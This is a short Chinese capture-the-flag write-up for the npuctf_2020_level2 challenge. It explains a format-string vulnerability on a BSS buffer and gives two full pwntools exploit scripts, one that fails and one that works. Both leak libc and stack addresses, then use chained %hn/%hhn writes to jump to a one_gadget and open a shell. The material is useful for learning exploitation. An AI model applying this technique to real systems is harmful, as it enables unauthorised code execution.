npuctf_2020_level2(args链的bss格式字符串)
题目的例行检查我就不放了

程序的逻辑也很简单,典型的bss格式字符串漏洞

可以看看看到在ebp下面有一个相互串联的指针,我们可以利用这个链间接写入到bss
并且上面这个libc_start_main+231可以泄露libc
最开始的exp
from pwn import *
#p = remote('node4.buuoj.cn','29664')
p = process('./npuctf_2020_level2')
elf = ELF('./npuctf_2020_level2')
libc = ELF('./libc-2.27.so')
p.sendline('%7$p')
p.recvuntil('0x')
libc_base = int(p.recvuntil('\n',drop=True),16) - 0x21b97
print('libc_base--->'+hex(libc_base))
one = [0x4f2c5,0x4f322,0x10a38c]
one_gadget = libc_base + one[1]
print('one_gadget-->'+hex(one_gadget))
# 9 35
p.sendline('%9$p')
p.recvuntil('0x')
addr_stark = int(p.recvuntil('\n',drop=True),16)-0xe0
print('addr_stark-->'+hex(addr_stark))
stack_base = addr_stark & 0xffff
payload = '%'+str(stack_base)+'c'+'%9$hn'
p.sendline(payload)
sleep(2)
payload1 = '%'+str(one_gadget & 0xff)+'c'+'%35$hhn'
p.sendline(payload1)
sleep(2)
payload2 = '%'+str(stack_base+1)+'c'+'%9$hhn'
p.sendline(payload2)
sleep(2)
payload3 = '%'+str((one_gadget>>8) & 0xffff)+'c'+'%35$hhn'
p.sendline(payload3)
sleep(2)
payload4 = '%'+str(stack_base+2)+'c'+'%9$hhn'
p.sendline(payload4)
sleep(2)
payload5 = '%'+str((one_gadget>>16) & 0xff)+'c'+'%35$hhn'
p.sendline(payload5)
sleep(2)
#p.sendline('66666666')
gdb.attach(p)
p.interactive()
在程序加了sleep(2)也打不通
在网上查询后看到了别的师傅的exp
from pwn import *
#9 35
#p=process('./npuctf_2020_level2')
p=remote('node3.buuoj.cn',26286)
libc=ELF('../libc-2.27.so')
context.log_level='debug'
payload1='%7$p#%9$p@'
p.sendline(payload1)
p.recvuntil('0x')
libc_base=(int(p.recvuntil("#",True),16) - 231)-libc.symbols['__libc_start_main']
p.recvuntil('0x')
addr_stack=int(p.recvuntil("@",True),16)-0xe0
one_gadgets = [0x4f2c5,0x4f322,0x10a38c]
one_gadget=one_gadgets[1]+libc_base
stackbase = addr_stack & 0xffff
p.sendlineafter('\n', '%' + str(stackbase) + 'c%9$hn\x00')
p.sendlineafter('\x20\x20\xb4', '%'+str(one_gadget&0xff)+'c%35$hhn\x00')
p.sendlineafter('\x20\x20\xb4', '%'+str(stackbase+1)+'c%9$hhn\x00')
p.sendlineafter('\x20\x20\xb4', '%'+str((one_gadget>>8)&0xffff)+'c%35$hhn\x00')
p.sendlineafter('\x20\x20\xb4', '%'+str(stackbase+2)+'c%9$hhn\x00')
p.sendlineafter('\x20\x20\xb4', '%'+str((one_gadget>>16)&0xff)+'c%35$hhn\x00')
#p.recv('\x20\x20\xb4')
p.sendline('66666666\x00')
#p.recv()
print(hex(libc.symbols['__libc_start_main']))
#gdb.attach(p)
p.interactive()
才可以打通,学到了

浙公网安备 33010602011771号